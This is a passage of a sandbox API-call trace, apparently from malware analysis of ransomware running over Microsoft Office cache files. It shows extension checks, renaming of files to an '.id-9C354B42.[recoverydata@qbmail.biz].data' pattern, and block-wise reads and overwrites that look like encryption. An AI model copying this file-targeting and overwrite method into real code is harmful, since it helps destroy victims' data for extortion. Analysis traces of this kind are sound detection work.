[0083.212] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0083.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.212] lstrlenW (lpString=".zip") returned 4 [0083.212] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0083.212] lstrlenW (lpString=".rar") returned 4 [0083.212] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0083.212] lstrlenW (lpString=".bz2") returned 4 [0083.212] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0083.212] lstrlenW (lpString=".7z") returned 3 [0083.212] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0083.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.213] lstrlenW (lpString=".dbf") returned 4 [0083.213] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0083.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.213] lstrlenW (lpString=".1cd") returned 4 [0083.213] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0083.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.213] lstrlenW (lpString=".jpg") returned 4 [0083.213] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0083.213] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0083.213] lstrlenW (lpString="WordLR.cab") returned 10 [0083.213] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0083.214] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=43806141) returned 1 [0083.214] CloseHandle (hObject=0x1b4) returned 1 [0083.214] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0083.214] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.214] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0083.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0083.215] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0083.215] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0083.215] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.648] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0083.649] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.797] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0083.797] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0083.797] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.829] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.829] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0084.088] SetEndOfFile (hFile=0x1b4) returned 1 [0084.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f00060 [0084.095] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0084.096] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.097] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0084.097] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.103] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0084.103] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0084.106] CloseHandle (hObject=0x1b4) returned 1 [0087.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0087.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.025] lstrlenW (lpString=".doc") returned 4 [0087.025] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString=".docx") returned 5 [0087.026] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0087.026] lstrlenW (lpString=".pdf") returned 4 [0087.026] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString=".xls") returned 4 [0087.026] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString=".xlsx") returned 5 [0087.026] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0087.026] lstrlenW (lpString=".ppt") returned 4 [0087.026] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.026] lstrlenW (lpString=".zip") returned 4 [0087.026] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString=".rar") returned 4 [0087.026] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0087.026] lstrlenW (lpString=".bz2") returned 4 [0087.027] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0087.027] lstrlenW (lpString=".7z") returned 3 [0087.027] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0087.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.028] lstrlenW (lpString=".dbf") returned 4 [0087.028] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0087.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.028] lstrlenW (lpString=".1cd") returned 4 [0087.028] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0087.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.028] lstrlenW (lpString=".jpg") returned 4 [0087.028] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0087.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.029] lstrlenW (lpString=".doc") returned 4 [0087.029] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString=".docx") returned 5 [0087.029] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0087.029] lstrlenW (lpString=".pdf") returned 4 [0087.029] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString=".xls") returned 4 [0087.029] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString=".xlsx") returned 5 [0087.029] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0087.029] lstrlenW (lpString=".ppt") returned 4 [0087.029] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.029] lstrlenW (lpString=".zip") returned 4 [0087.029] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString=".rar") returned 4 [0087.029] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0087.029] lstrlenW (lpString=".bz2") returned 4 [0087.029] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0087.029] lstrlenW (lpString=".7z") returned 3 [0087.029] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0087.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.029] lstrlenW (lpString=".dbf") returned 4 [0087.029] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0087.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.030] lstrlenW (lpString=".1cd") returned 4 [0087.030] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0087.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0087.030] lstrlenW (lpString=".jpg") returned 4 [0087.030] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0087.030] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0087.030] lstrlenW (lpString="Proof.cab") returned 9 [0087.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0087.030] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=21064532) returned 1 [0087.031] CloseHandle (hObject=0x1b4) returned 1 [0087.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0087.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0087.031] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0088.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0088.753] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0088.753] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0088.753] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0088.762] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0088.764] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0088.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0088.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0088.770] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0088.796] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0088.796] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0089.147] SetEndOfFile (hFile=0x1b4) returned 1 [0089.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fba0a8 [0089.558] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.558] WriteFile (in: hFile=0x1b4, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.560] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.560] WriteFile (in: hFile=0x1b4, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.561] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.561] WriteFile (in: hFile=0x1b4, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fba0a8 | out: hHeap=0x5b0000) returned 1 [0089.656] CloseHandle (hObject=0x1b4) returned 1 [0093.197] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0093.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.197] lstrlenW (lpString=".doc") returned 4 [0093.197] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.197] lstrlenW (lpString=".docx") returned 5 [0093.197] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0093.197] lstrlenW (lpString=".pdf") returned 4 [0093.197] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString=".xls") returned 4 [0093.198] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString=".xlsx") returned 5 [0093.198] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0093.198] lstrlenW (lpString=".ppt") returned 4 [0093.198] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString=".zip") returned 4 [0093.198] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString=".rar") returned 4 [0093.198] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString=".bz2") returned 4 [0093.198] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.198] lstrlenW (lpString=".7z") returned 3 [0093.198] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString=".dbf") returned 4 [0093.198] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString=".1cd") returned 4 [0093.198] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString=".jpg") returned 4 [0093.198] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.198] lstrlenW (lpString=".doc") returned 4 [0093.198] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.198] lstrlenW (lpString=".docx") returned 5 [0093.198] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0093.199] lstrlenW (lpString=".pdf") returned 4 [0093.199] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString=".xls") returned 4 [0093.199] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString=".xlsx") returned 5 [0093.199] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0093.199] lstrlenW (lpString=".ppt") returned 4 [0093.199] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.199] lstrlenW (lpString=".zip") returned 4 [0093.199] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString=".rar") returned 4 [0093.199] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString=".bz2") returned 4 [0093.199] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.199] lstrlenW (lpString=".7z") returned 3 [0093.199] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.199] lstrlenW (lpString=".dbf") returned 4 [0093.199] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.199] lstrlenW (lpString=".1cd") returned 4 [0093.199] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.199] lstrlenW (lpString=".jpg") returned 4 [0093.199] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.200] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0093.200] lstrlenW (lpString="VisioLR.cab") returned 11 [0093.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0093.200] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=50823389) returned 1 [0093.200] CloseHandle (hObject=0x1b4) returned 1 [0093.200] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0093.200] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0093.201] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0093.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0093.201] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0093.201] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0093.202] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.686] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0094.686] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, 